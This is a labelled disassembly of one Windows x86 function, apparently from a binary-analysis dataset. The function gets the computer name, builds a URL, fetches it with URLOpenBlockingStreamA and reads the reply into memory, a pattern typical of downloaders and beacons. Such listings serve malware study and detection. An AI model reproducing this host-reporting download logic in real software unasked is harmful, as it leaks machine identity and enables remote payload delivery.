Function at 0x40afc0
Capabilities:
Download url
Get hostname
Receive data

Disassembly:
push 0xffffffffffffffff
push 0x41dbc3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x170
push ebp
push esi
push edi
push 0
mov dword [esp + 0x188], 0
call fcn.004154c4
add esp, 4
push eax
lea eax, [esp + 0x80]
push 0x4037f4
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
mov edi, 0x4037f0
or ecx, 0xffffffff
xor eax, eax
add esp, 0xc
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push eax
push 0x4037f0
lea ecx, [esp + 0x198]
call fcn.0040c940
cmp eax, 0xffffffff
je 0x40b057
mov edi, 0x4037e8
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x4037e8
lea ecx, [esp + 0x194]
call fcn.0040c480
jmp 0x40b245
lea ecx, [esp + 0x10]
lea edx, [esp + 0x14]
push ecx
push edx
mov dword [esp + 0x18], 0x10
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [esp + 0x24]
push eax
call fcn.0040fe00
add esp, 4
mov edi, 0x40365c
or ecx, 0xffffffff
xor eax, eax
mov byte [esp + 0x184], 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
push 0x40365c
lea ecx, [esp + 0x194]
call fcn.0040c480
lea edi, [esp + 0x14]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x194]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
mov ecx, dword [0x407740]
sub ecx, edx
cmp ecx, esi
ja 0x40b0cd
call fcn.00412f64
test esi, esi
jbe 0x40b120
mov edx, dword [esp + 0x194]
push 0
lea ecx, [esp + 0x190]
lea ebp, [edx + esi]
push ebp
call fcn.0040cd20
test al, al
je 0x40b120
mov eax, dword [esp + 0x190]
mov ecx, dword [esp + 0x194]
push ebp
lea edi, [ecx + eax]
mov ecx, esi
mov edx, ecx
lea esi, [esp + 0x18]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x190]
call fcn.0040cd00
mov edi, 0x403654
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x194]
repne scasb al, byte es:[edi]
mov eax, dword [0x407740]
not ecx
dec ecx
sub eax, edx
mov esi, ecx
cmp eax, esi
ja 0x40b148
call fcn.00412f64
test esi, esi
jbe 0x40b19c
mov ecx, dword [esp + 0x194]
push 0
lea ebp, [ecx + esi]
lea ecx, [esp + 0x190]
push ebp
call fcn.0040cd20
test al, al
je 0x40b19c
mov edx, dword [esp + 0x190]
mov eax, dword [esp + 0x194]
mov ecx, esi
mov esi, 0x403654
lea edi, [eax + edx]
mov edx, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
push ebp
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x190]
call fcn.0040cd00
mov eax, dword [0x407740]
lea ecx, [esp + 0x24]
push eax
push 0
push ecx
lea ecx, [esp + 0x198]
call fcn.0040c3a0
mov edi, 0x4037e8
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [0x407740]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
mov ecx, dword [esp + 0x194]
sub edx, ecx
cmp edx, esi
ja 0x40b1de
call fcn.00412f64
test esi, esi
jbe 0x40b232
mov eax, dword [esp + 0x194]
push 0
lea ecx, [esp + 0x190]
lea ebp, [eax + esi]
push ebp
call fcn.0040cd20
test al, al
je 0x40b232
mov ecx, dword [esp + 0x190]
mov edx, dword [esp + 0x194]
push ebp
lea edi, [edx + ecx]
mov ecx, esi
mov eax, ecx
mov esi, 0x4037e8
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x190]
call fcn.0040cd00
push 1
lea ecx, [esp + 0x28]
mov byte [esp + 0x188], 0
call fcn.0040cc10
lea edi, [esp + 0x7c]
or ecx, 0xffffffff
xor eax, eax
mov edx, dword [esp + 0x194]
repne scasb al, byte es:[edi]
not ecx
dec ecx
mov esi, ecx
mov ecx, dword [0x407740]
sub ecx, edx
cmp ecx, esi
ja 0x40b26d
call fcn.00412f64
test esi, esi
jbe 0x40b2c5
mov edx, dword [esp + 0x194]
push 0
lea ecx, [esp + 0x190]
lea ebp, [edx + esi]
push ebp
call fcn.0040cd20
test al, al
je 0x40b2c5
mov eax, dword [esp + 0x190]
mov edx, dword [esp + 0x194]
mov ecx, esi
lea esi, [esp + 0x7c]
lea edi, [edx + eax]
mov eax, ecx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
mov ecx, dword [esp + 0x190]
mov dword [esp + 0x194], ebp
mov byte [ecx + ebp], 0
mov eax, dword [esp + 0x190]
xor edi, edi
test eax, eax
mov dword [esp + 0xc], 0
jne 0x40b2df
mov eax, 0x407744
push 0
lea edx, [esp + 0x10]
push 0
push edx
push eax
push 0
call sub.urlmon.dll_URLOpenBlockingStreamA
test eax, eax
jge 0x40b327
mov ecx, dword [esp + 0x190]
test ecx, ecx
je 0x40b320
mov al, byte [ecx - 1]
test al, al
je 0x40b316
cmp al, 0xff
je 0x40b316
dec al
mov byte [ecx - 1], al
xor eax, eax
jmp 0x40b3ab
dec ecx
push ecx
call fcn.00412d82
add esp, 4
xor eax, eax
jmp 0x40b3ab
mov eax, dword [esp + 0xc]
lea edx, [esp + 0x34]
push 1
push edx
mov ecx, dword [eax]
push eax
call dword [ecx + 0x30]
test eax, eax
jl 0x40b378
mov eax, dword [esp + 0x3c]
mov ecx, dword [esp + 0x19c]
push eax
mov esi, eax
mov dword [ecx], eax
call fcn.0041537f
mov edi, eax
add esp, 4
test edi, edi
je 0x40b378
mov ecx, dword [esp + 0xc]
xor eax, eax
push eax
push eax
mov edx, dword [ecx]
push eax
push eax
push ecx
call dword [edx + 0x14]
mov eax, dword [esp + 0xc]
push 0
push esi
push edi
mov ecx, dword [eax]
push eax
call dword [ecx + 0xc]
mov eax, dword [esp + 0xc]
push eax
mov edx, dword [eax]
call dword [edx + 8]
mov ecx, dword [esp + 0x190]
test ecx, ecx
je 0x40b3a9
mov al, byte [ecx - 1]
test al, al
je 0x40b39f
cmp al, 0xff
je 0x40b39f
dec al
mov byte [ecx - 1], al
jmp 0x40b3a9
dec ecx
push ecx
call fcn.00412d82
add esp, 4
mov eax, edi
mov ecx, dword [esp + 0x17c]
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x17c
ret